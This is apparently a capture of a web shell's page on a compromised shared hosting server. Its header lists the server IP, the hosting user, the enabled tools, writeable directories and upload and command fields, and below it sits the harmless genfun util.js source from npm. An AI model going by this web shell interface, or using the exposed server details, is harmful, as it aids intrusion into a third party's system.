403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.220.140.32
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/alt-nodejs12/root/lib/node_modules/npm/node_modules.bundled/genfun/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/alt-nodejs12/root/lib/node_modules/npm/node_modules.bundled/genfun/lib/util.js
'use strict'

module.exports.isObjectProto = isObjectProto
function isObjectProto (obj) {
  return obj === Object.prototype
}

const _null = {}
const _undefined = {}
const Bool = Boolean
const Num = Number
const Str = String
const boolCache = {
  true: new Bool(true),
  false: new Bool(false)
}
const numCache = {}
const strCache = {}

/*
 * Returns a useful dispatch object for value using a process similar to
 * the ToObject operation specified in http://es5.github.com/#x9.9
 */
module.exports.dispatchableObject = dispatchableObject
function dispatchableObject (value) {
  // To shut up jshint, which doesn't let me turn off this warning.
  const Obj = Object
  if (value === null) { return _null }
  if (value === undefined) { return _undefined }
  switch (typeof value) {
    case 'object': return value
    case 'boolean': return boolCache[value]
    case 'number': return numCache[value] || (numCache[value] = new Num(value))
    case 'string': return strCache[value] || (strCache[value] = new Str(value))
    default: return new Obj(value)
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit